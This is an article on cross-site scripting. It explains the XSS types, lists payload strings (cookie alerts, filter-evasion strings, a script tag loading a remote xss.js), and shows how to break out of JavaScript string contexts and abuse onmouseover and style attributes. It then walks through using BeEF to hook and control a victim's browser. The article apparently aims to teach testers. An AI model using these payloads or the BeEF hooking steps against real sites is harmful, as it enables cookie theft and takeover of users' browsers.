One of the largest portals was in news recently when their website was exploited by targeting XSS vulnerability. The person who compromised the website has also notified the portal with screenshots proving successful attack. Information Security chief called an urgent meeting to discuss the issue with his entire team. He asked that we have got application security audit done form third party before going live, we have also trained our developers with secure coding practices, then why this incident happened!! They went to other third party vendor and appointed them to audit the application. Audit team has found that XSS can be possible from the “Custom XSS attack vector” method.

In this paper, I will be explaining two major aspects of Cross Site Scripting Attack:

1. Tricky XSS
2. Complete control over User’s browser – BeEF

Cross Site scripting (XSS) is an attack in which an attacker exploits vulnerability in application code and runs his own JavaScript code on the victim’s browser. The impact of an XSS attack is only limited by the potency of the attacker’s JavaScript code.

A quick look into the types of XSS:-

• Stored XSS Attacks
• Reflected XSS Attacks
• DOM Based XSS

Stored XSS – Stored XSS are those where the injected code is permanently stored on the target servers, such as in a database, in a message forum, visitor log, comment field, etc. The victim then retrieves the malicious script from the server when it requests the stored information.

Reflected XSS – Reflected XSS are those where the injected code is reflected off the web server, such as in an error message, search result, or any other response that includes some or all of the input sent to the server as part of the request. Reflected XSS are delivered to victims via another route, such as in an e-mail message, or on some other web server. When a user is tricked into clicking on a malicious link or submitting a specially crafted form, the injected code travels to the vulnerable web server, which reflects the attack back to the user’s browser. The browser then executes the code because it came from a “trusted” server.

DOM based XSS – DOM Based XSS is an XSS attack wherein the attack payload is executed as a result of modifying the DOM “environment” in the victim’s browser used by the original client side script, so that the client side code runs in an “unexpected” manner. That is, the page itself (the HTTP response that is) does not change, but the client side code contained in the page executes differently due to the malicious modifications that have occurred in the DOM environment.

So, all  this is the story about the types of XSS. Now let the real game begin.

XSS attack – more patience, more possibility of attack.

Regular XSS attack strings: –

• “><script >alert(document.cookie)</script>
• ‘;alert(String.fromCharCode(88,83,83))//’;alert(String.fromCharCode(88,83,83))//”;alert(String.fromCharCode(88,83,83))//”;alert(String.fromCharCode(88,83,83))//–></SCRIPT>”>’><SCRIPT>alert(String.fromCharCode(88,83,83))</SCRIPT>
• <SCRIPT SRC=http://ha.ckers.org/xss.js></SCRIPT>
• <IMG SRC=”javascript:alert(‘XSS’);”>

There are more common attack vectors but we are not going to discuss those in this article, what we are going to discuss is out of box attacks which requires more patience and more beer. 🙂

What my personal experience is saying that, XSS is more dependent on our observation, observation of how input gets stored or get reflected on the web page. In some cases I have observed that developer uses a user input data in some client side JavaScript functions. Here they are getting trapped. What a developer will do, he will sanitize only the USER FACING area (i.e. form), he will not take care of JavaScript functions. Let’s cover all these possible ways by example.

Custom Attack Vector – I

It’s been encountered many a times that user input values are getting used in client side java script functions at clients’ machine. Generally developers focus more on the GUI part, he will use best encoding technique to encode values which are on the GUI, but most of the time developer forgets about the function in which input value are being used in plain text.

In below example we can see the way XSS is successfully exploited in applications which take user input values in javascript functions. This Victim application uses the application subdirectory name in the javascript function. For example, http://www.victimsite.com is the url of the application, then http://www.victimsite.com/abc and http://www.victimsite.com/xyz/asd are the sub directories of this application. JavaScript Function contains subdirectory names in a plain text.

Victim application has “/tickets-booking/search form” directory. Observe in above screenshots that “/tickets-booking/search form” is being used at two places – one in javascript function and one in one of the hidden field of the GUI page. Developer has encoded special characters in hidden field, but we can observe that text is as it is in javascript function.

……/tickets-booking /search form’ + ‘&t=’ + (((new Date()).getTime() – began_loading) / 1000)

Above line is as it is in javascript function. If I write http://www.victimsite.com/abc/xyz in address bar then application responses back with page not found error,but the javascript function will have value like below:

……/abc/xyz’ + ‘&t=’ + (((new Date()).getTime() – began_loading) / 1000)

Now we will see a custom attack vector for this javascript function. I have appended

 

‘ + ‘&t=’ + (((new Date()).getTime() – began_loading) / 1000);alert(document.cookie);// in the URL.

Now the javascript function becomes like following.

……/tickets-booking /search form ‘ + ‘&t=’ + (((new Date()).getTime() – began_loading) / 1000);alert(document.cookie);//’ + ‘&t=’ + (((new Date()).getTime() – began_loading) / 1000)

Javascript function will treat this line as continuation of the function line and execute the line, then it comes to alert(document.cookie); it will execute that command and ‘//’ will make rest of the line as a comment. Hence XSS vulnerability gets exploited easily in this application. We have tried all available attack vectors in this application, but application has smart encoding methods which encodes all the special characters, but by this JAVASCRIPT FUNCTION, attackers have exploited XSS very easily.

Custom  Attack Vector – II

This is another example of custom attack vector. In the  victim site, there is one hidden variable which has the value of referer page link. This value is being used by one javascript function called OpenTicket. Legitimate value of the function line is as per below:

OpenTicket(‘TaxTDR.aspx’,’qw12345678u’,’9999999999′,’[email protected]’,’55555′,’devil’,’13/02/2012 15:19:13′,’1′,’1′,‘frmTempasad’,”,”,”,”,SegmentID)

By appending this attack vector, javascript function treats the line as a legitimate line and completes the function. Then function executes the document.write function and then it comments rest of the part.

Our aim is achieved here, XSS exploited successfully. 

Onmouseover XSS

One form is available on victim website. This is a part of registration form to register for some scheme on public facing page. Fill the required information in the form, press submit and capture the request in the web proxy tool.

Append the “onmouseover” attack vector into the first name field.

In response, application respond back with error message that special characters are not allowed. But when you click on the text box of first name, you get surprised. Script gets executed on the page.

Style Attribute

It’s been observed that STYLE attribute is ignored by some of the developers. They block all the miscellaneous events like onclick, onmouseover etc. STYLE attribute xss has limitation of supporting only get execute in IE, but that doesn’t mean we can ignore it.

There is one form on victim website which expects the details of user. Developers have tried their level best to prevent XSS by all the possible methods, but totally ignored STYLE attribute.

The form is processed with the required field and captures the values in proxy tool. Observe in the below screenshot, there is an appended STYLE attribute with the value of XSS attack vector in the input field.

XSS is exploited successfully at the page.

There are many more victim websites available on internet; it’s just a matter of how expert you are to catch the vulnerable point. For Reflected XSS, how your input gets reflected on the entire html page concerns a lot. Now we have successfully exploited XSS in web applications, let’s see how an attacker can take full control of victim’s browser using BeEF.

“The Browser Exploitation Framework (BeEF) is a powerful professional security tool. BeEF is pioneering techniques that provide the experienced penetration tester with practical client side attack vectors. Unlike other security frameworks, BeEF focuses on leveraging browser vulnerabilities to assess the security posture of a target. BeEF hooks one or more web browsers as beachheads for the launching of directed command modules. Each browser is likely to be within a different security context, and each context may provide a set of unique attack vectors.” – http://beefproject.com/

Disclaimer: In this entire example section I have used http://demo.testfire.net as a victim site. This website is handled by IBM, and which contains number of vulnerabilities by intention only.

BeEF framework code is available at http://code.google.com/p/beef/downloads/list. Anyone can download and install BeEF, which requires web server, PHP and ruby installation as pre-requisites. Backtrack (BT) has inbuilt setup of BeEF in it. BT users can use it without any installation. In this article, I have used BT to demonstrate.

Lets start it by a simple XSS example. Below in the search filed pass the simple XSS vector, <script>alert(’XSS’)</script>

Now, let’s start the attacker machines. And let’s initialize the BeEF on the machine. Below is the screenshot for the BeEF login page.

After login into the BeEF framework, below is the first look or we can say home page of the initialized BeEF.

Now the real game is about to begin. At the Victim side, earlier we have seen the normal XSS on demo site. Let’s apply the BeEF attack payload on the site.

Simply apply this script code in the search box of the application. IP address is live IP address of a machine on which BeEF is configured. Hook.js will hook a browser into BeEF.

There are many other ways possible to force victim user to click on this payload, for example by sending one image which has malicious link behind it, or by click jacking attack, or by email etc.

When Victim execute BeEF payload, he won’t see any changes on his side, but the at the attacker side, he can see one ZOMBIE created.

Now entire browser is in attacker’s hand. He can check the system information of the created information.

 

Attacker can execute JAVASCRIPTS from his end to victim’s browser. In below screenshot attacker is sending the javascript alert box request.

Alert box get populated at the victim’s end.

BeEF can also detect the social networking site status on the browser. Detect Social networks module will detect if the victim’s browser is authenticated to Gmail, Facebook or Twitter.